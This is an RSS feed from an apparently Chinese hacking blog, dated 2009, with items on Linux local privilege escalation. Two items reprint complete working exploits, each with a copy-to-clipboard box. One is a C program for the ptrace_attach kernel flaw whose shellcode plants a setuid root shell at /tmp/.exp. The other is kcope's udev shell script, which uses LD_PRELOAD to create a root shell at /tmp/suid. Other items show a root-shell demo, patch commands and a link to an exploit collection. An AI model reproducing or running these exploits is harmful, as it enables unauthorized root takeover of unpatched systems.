<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[许诺's Blog - Linux相关]]></title>
<link>http://www.swhack.cn/</link>
<description><![CDATA[蝉在地下的漫长等待，只为枝头一夏的绝响！]]></description>
<language>zh-cn</language>
<copyright><![CDATA[Copyright 2005 PBlog3 v2.8]]></copyright>
<webMaster><![CDATA[251812239@qq.com(许诺)]]></webMaster>
<generator>PBlog2 v2.4</generator> 
<image>
	<title>许诺&#39;s Blog</title>
	<url>http://www.swhack.cn/images/logos.gif</url>
	<link>http://www.swhack.cn/</link>
	<description>许诺&#39;s Blog</description>
</image>

			<item>
			<link>http://www.swhack.cn/article.asp?id=133</link>
			<title><![CDATA[Linux Kernel 2.6.x ptrace_attach Local Privilege ]]></title>
			<author>251812239@qq.com(许诺)</author>
			<category><![CDATA[Linux相关]]></category>
			<pubDate>Wed,13 May 2009 10:32:40 +0800</pubDate>
			<guid>http://www.swhack.cn/default.asp?id=133</guid>
		<description><![CDATA[# 鬼仔：加点其他跟这个漏洞相关的信息。<br/>----------------------------<br/>素包子：<br/>素包子快速的看了下漏洞利用程序，原理应该是通过 ptrace挂到一个suid root程序上，然后利用ptrace_attach函数的漏洞，以root权限执行指令，产生/tmp/.exp这个local root shell。不幸中的万幸，这个exp写的稍微有点问题，在REDHAT里需要稍作修改才能成功获得root权限。<br/>素包子提供几个临时解决方案以供大家选择（以下方案由简至难）：<br/>1、禁用本地所有普通用户账号，直到发布补丁。此方案无法防止有webshell的<a href="http://www.swhack.cn" target="_blank">黑客</a>获得root权限。<br/>2、禁用系统所有的suid root程序，直到发布补丁。此方案会导致系统部分功能无法正常使用。<br/>3、安装sptrace LKM禁用普通用户使用ptrace。此方案对业务影响相对较小，但实施较为复杂。<br/>----------------------------<br/>noop：<br/>漏洞并不是本来存在于ptrace里面的，而是因为在2.6.29中引入了cred_exec_mutex互斥对象，但是使用的时候lock错了对象造成的。所以2.6.29以下版本不要去动脑筋了，没用的。<br/><br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code26842);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.swhack.cn/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code26842>/*<br/>ptrace_attach privilege escalation exploit by s0m3b0dy<br/><br/><li> tested on Gentoo 2.6.29rc1<br/><br/>grataz:<br/>Tazo, rassta, nukedclx, maciek, D0hannuk, mivus, wacky, nejmo, filo...<br/><br/>email: s0m3b0dy1 (at) gmail.com<br/>*/<br/><br/>#include &lt;grp.h&gt;<br/>#include &lt;stdio.h&gt;<br/>#include &lt;fcntl.h&gt;<br/>#include &lt;errno.h&gt;<br/>#include &lt;paths.h&gt;<br/>#include &lt;string.h&gt;<br/>#include &lt;stdlib.h&gt;<br/>#include &lt;signal.h&gt;<br/>#include &lt;unistd.h&gt;<br/>#include &lt;sys/wait.h&gt;<br/>#include &lt;sys/stat.h&gt;<br/>#include &lt;sys/param.h&gt;<br/>#include &lt;sys/types.h&gt;<br/>#include &lt;sys/ptrace.h&gt;<br/>#include &lt;sys/socket.h&gt;<br/>char shellcode</li>[] =<br/>&#34;\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\xeb\x21\x5f\x6a\x0b\x58\x99&#34;<br/>&#34;\x52\x66\x68\x2d\x63\x89\xe6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62&#34;<br/>&#34;\x69\x6e\x89\xe3\x52\x57\x56\x53\x89\xe1\xcd\x80\xe8\xda\xff\xff\xff&#34;<br/>&#34;echo \&#34;#include &lt;stdio.h&gt;\nmain(){setuid(0);if(getuid()==0) printf(\\\&#34;r00teed!\\n\\\&#34;);execv(\\\&#34;/bin/bash\\\&#34;,0);return 0;}\&#34; &gt; /tmp/.exp.c;gcc /tmp/.exp.c -o /tmp/.exp;rm /tmp/.exp.c;chmod +s /tmp/.exp;exit;&#34;;<br/>struct user_regs_struct322 {<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unsigned long ebx, ecx, edx, esi, edi, ebp, eax;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unsigned short ds, __ds, es, __es;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unsigned short fs, __fs, gs, __gs;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unsigned long o&#114;ig_eax, eip;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unsigned short cs, __cs;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unsigned long eflags, esp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unsigned short ss, __ss;<br/>};<br/><br/>main()<br/>{<br/>struct user_regs_struct322&nbsp;&nbsp;regs;<br/>struct stat buf;<br/>int i,o;<br/>unsigned long * src;<br/>unsigned long * dst;<br/>char *env[2];<br/>env[0]=&#34;/usr/bin/gpasswd&#34;;&nbsp;&nbsp;// some suid file<br/>env[1]=0;<br/>if((o=fork()) == 0)<br/>{<br/>execve(env[0],env,0);<br/>exit(0);<br/>}<br/>if(ptrace(PTRACE_ATTACH,o,0,0)==-1)<br/>{<br/>printf(&#34;\n[-] Attach\n&#34;);<br/>exit(0);<br/>}<br/> wait((int *)0);<br/>if (ptrace(PTRACE_GETREGS, o, NULL, ®s) == -1){<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;\n[-] read registers\n&#34;);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;exit(0);<br/>}<br/>printf( &#34;[+] EIP - 0x%08lx\n&#34;, regs.eip);<br/>dst= (unsigned long *) regs.eip;<br/>src = (unsigned long *) shellcode;<br/>for(i=0;i&lt;sizeof(shellcode) -1;i+=4)<br/>if (ptrace(PTRACE_POKETEXT, o, dst++, *src++) == -1){<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&#34;\n[-] write shellcode\n&#34;);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;exit(0);<br/>}<br/>ptrace(PTRACE_CONT, o, 0, 0);<br/>ptrace(PTRACE_DETACH,o,0,0);<br/>printf(&#34;[+] Waiting for root...\n&#34;);<br/>sleep(2);<br/>if(!stat(&#34;/tmp/.exp&#34;,&amp;buf))<br/>{<br/>printf(&#34;[+] Executing suid shell /tmp/.exp...\n&#34;);<br/>execv(&#34;/tmp/.exp&#34;,0);<br/>}<br/>else<br/>{<br/>printf(&#34;[-] Damn no r00t here :(\n&#34;);<br/>}<br/>return 0;<br/>}</div></div>]]></description>
		</item>
		
			<item>
			<link>http://www.swhack.cn/article.asp?id=137</link>
			<title><![CDATA[Linux爆本地提权漏洞 请立即更新udev程序]]></title>
			<author>251812239@qq.com(许诺)</author>
			<category><![CDATA[Linux相关]]></category>
			<pubDate>Fri,24 Apr 2009 10:47:16 +0800</pubDate>
			<guid>http://www.swhack.cn/default.asp?id=137</guid>
		<description><![CDATA[新闻来源:milw0rm.com<br/>Linux的udev程序再爆本地提权漏洞，本地用户可以轻易获得root权限，请立即更新udev程序。（2.4内核系统不受影响）<br/>修复方法(修复前请备份重要数据)：<br/><br/><br/>debian用户请执行apt-get up&#100;ate ; apt-get upgrade -y<br/><br/>centos用户请执行yum up&#100;ate udev<br/><br/>RedHat用户请使用官方rpm包更新或者购买RedHat的satellite服务。<br/><br/>攻击效果展示：<br/>libuuid@debian:~$ sh a 890<br/>sh-3.1# id<br/>uid=0(root) gid=0(root) groups=105(libuuid)<br/>sh-3.1# cat /etc/debian_version<br/>lenny/sid<br/>sh-3.1# dpkg -l | grep udev<br/>ii&nbsp;&nbsp;udev&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0.114-2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /dev/ and hotplug management daemon<br/><br/>现在确认的是此攻击方式对Debian和Ubuntu相当有效，对RedHat的攻击效果有待确认。<br/><br/>最新战况请查阅 <a href="http://baoz.net/linux-udev-exploit/" target="_blank" rel="external">http://baoz.net/linux-udev-exploit/</a><br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.swhack.cn/article.asp?id=136</link>
			<title><![CDATA[udev,linux有史以来最危险的本地安全漏洞]]></title>
			<author>251812239@qq.com(许诺)</author>
			<category><![CDATA[Linux相关]]></category>
			<pubDate>Fri,24 Apr 2009 10:45:29 +0800</pubDate>
			<guid>http://www.swhack.cn/default.asp?id=136</guid>
		<description><![CDATA[通杀X86和X64架构下N个发行版的N个大版本和子版本，影响面相当大，互联网的血雨腥风即将到来。<br/><br/>这个漏洞对各大企业的安全人员发起挑战，我们的软件资产管理系统是否有足够的数据支撑我们做下面的事情？<br/><br/>1、给哪些系统打补丁？<br/>2、哪些系统已经打上了补丁？<br/>3、新上线的系统打了补丁了吗？如何发现？<br/><br/><br/>几个主流发行版已经发布了新的udev程序以修复这个问题，不幸中的万幸是修复这个漏洞不需要重启，对业务系统的影响相对小了很多。<br/><br/>我已确认受影响系统：<br/><br/>RHEL 5.X x86和x64<br/>Debian 4.x 5.x x86和x64<br/><br/>最后不得不说一句，各位看官的跳板机赶紧升级，此时此刻最危险的就是它。grsecurity帮我们规避了这次风险，即使没打补丁，<a href="http://www.swhack.cn" target="_blank">黑客</a>也无法利用此漏洞获得root权限，cool！看来非高压的关键业务系统部署高级安全策略还是值得的。<br/><br/>udev[11037]: segfault at 0 ip ac6b949b sp b7f7ae98 error 4 in libc-2.5.so[ac68c000+13e000]<br/>udev[11370]: segfault at 0 ip 9b80c49b sp b120c868 error 4 in libc-2.5.so[9b7df000+13e000]<br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.swhack.cn/article.asp?id=134</link>
			<title><![CDATA[Linux Kernel 2.6 UDEV 本地提权]]></title>
			<author>251812239@qq.com(许诺)</author>
			<category><![CDATA[Linux相关]]></category>
			<pubDate>Mon,20 Apr 2009 10:35:14 +0800</pubDate>
			<guid>http://www.swhack.cn/default.asp?id=134</guid>
		<description><![CDATA[<div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code61636);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.swhack.cn/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code61636>#!/bin/sh<br/># Linux 2.6<br/># bug found by Sebastian Krahmer<br/>#<br/># lame sploit using LD technique<br/># by kcope in 2009<br/># tested on debian-etch,ubuntu,gentoo<br/># do a &#39;cat /proc/net/netlink&#39;<br/># and set the first arg to this<br/># script to the pid of the netlink socket<br/># (the pid is udevd_pid - 1 most of the time)<br/># + sploit has to be UNIX formatted text :)<br/># + if it doesn&#39;t work the 1st time try more often<br/>#<br/># WARNING: maybe needs some FIXUP to work flawlessly<br/>## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang<br/><br/>cat &gt; udev.c &lt;&lt; _EOF<br/>#include &lt;fcntl.h&gt;<br/>#include &lt;stdio.h&gt;<br/>#include &lt;string.h&gt;<br/>#include &lt;stdlib.h&gt;<br/>#include &lt;unistd.h&gt;<br/>#include &lt;dirent.h&gt;<br/>#include &lt;sys/stat.h&gt;<br/>#include &lt;sysexits.h&gt;<br/>#include &lt;wait.h&gt;<br/>#include &lt;signal.h&gt;<br/>#include &lt;sys/socket.h&gt;<br/>#include &lt;linux/types.h&gt;<br/>#include &lt;linux/netlink.h&gt;<br/><br/>#ifndef NETLINK_KOBJECT_UEVENT<br/>#define NETLINK_KOBJECT_UEVENT 15<br/>#endif<br/><br/>#define SHORT_STRING 64<br/>#define MEDIUM_STRING 128<br/>#define BIG_STRING 256<br/>#define LONG_STRING 1024<br/>#define EXTRALONG_STRING 4096<br/>#define TRUE 1<br/>#define FALSE 0<br/><br/>int socket_fd;<br/>struct sockaddr_nl address;<br/>struct msghdr msg;<br/>struct iovec iovector;<br/>int sz = 64*1024;<br/><br/>main(int argc, char **argv) {<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;char sysfspath[SHORT_STRING];<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;char subsystem[SHORT_STRING];<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;char event[SHORT_STRING];<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;char major[SHORT_STRING];<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;char minor[SHORT_STRING];<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sprintf(event, &#34;add&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sprintf(subsystem, &#34;block&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sprintf(sysfspath, &#34;/dev/foo&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sprintf(major, &#34;8&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sprintf(minor, &#34;1&#34;);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset(&amp;address, 0, sizeof(address));<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;address.nl_family = AF_NETLINK;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;address.nl_pid = atoi(argv[1]);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;address.nl_groups = 0;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;msg.msg_name = (void*)&amp;address;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;msg.msg_namelen = sizeof(address);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;msg.msg_iov = &amp;iovector;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;msg.msg_iovlen = 1;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bind(socket_fd, (struct sockaddr *) &amp;address, sizeof(address));<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;char message[LONG_STRING];<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;char *mp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mp = message;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mp += sprintf(mp, &#34;%s@%s&#34;, event, sysfspath) +1;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mp += sprintf(mp, &#34;ACTION=%s&#34;, event) +1;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mp += sprintf(mp, &#34;DEVPATH=%s&#34;, sysfspath) +1;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mp += sprintf(mp, &#34;MAJOR=%s&#34;, major) +1;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mp += sprintf(mp, &#34;MINOR=%s&#34;, minor) +1;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mp += sprintf(mp, &#34;SUBSYSTEM=%s&#34;, subsystem) +1;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mp += sprintf(mp, &#34;LD_PRELOAD=/tmp/libno_ex.so.1.0&#34;) +1;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;iovector.iov_base = (void*)message;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;iovector.iov_len = (int)(mp-message);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;char *buf;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int buflen;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buf = (char *) &amp;msg;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buflen = (int)(mp-message);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sendmsg(socket_fd, &amp;msg, 0);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;close(socket_fd);<br/><br/>&#160;&#160;&#160;&#160;sleep(10);<br/>&#160;&#160;&#160;&#160;execl(&#34;/tmp/suid&#34;, &#34;suid&#34;, (void*)0);<br/>}<br/><br/>_EOF<br/>gcc udev.c -o /tmp/udev<br/>cat &gt; program.c &lt;&lt; _EOF<br/>#include &lt;unistd.h&gt;<br/>#include &lt;stdio.h&gt;<br/>#include &lt;sys/types.h&gt;<br/>#include &lt;stdlib.h&gt;<br/><br/>void _init()<br/>{<br/> setgid(0);<br/> setuid(0);<br/> unsetenv(&#34;LD_PRELOAD&#34;);<br/> execl(&#34;/bin/sh&#34;,&#34;sh&#34;,&#34;-c&#34;,&#34;chown root:root /tmp/suid; chmod +s /tmp/suid&#34;,NULL);<br/>}<br/><br/>_EOF<br/>gcc -o program.o -c program.c -fPIC<br/>gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles<br/>cat &gt; suid.c &lt;&lt; _EOF<br/>int main(void) {<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; setgid(0); setuid(0);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; execl(&#34;/bin/sh&#34;,&#34;sh&#34;,0); }<br/>_EOF<br/>gcc -o /tmp/suid suid.c<br/>cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0<br/>/tmp/udev $1</div></div>]]></description>
		</item>
		
			<item>
			<link>http://www.swhack.cn/article.asp?id=135</link>
			<title><![CDATA[天阳论坛整理的各个版本linux溢出集合]]></title>
			<author>251812239@qq.com(许诺)</author>
			<category><![CDATA[Linux相关]]></category>
			<pubDate>Thu,15 Jan 2009 10:40:46 +0800</pubDate>
			<guid>http://www.swhack.cn/default.asp?id=135</guid>
		<description><![CDATA[下载地址： <a href="http://bbs.tian6.com/linux_exp/index.htm" target="_blank" rel="external">http://bbs.tian6.com/linux_exp/index.htm</a>]]></description>
		</item>
		
</channel>
</rss>
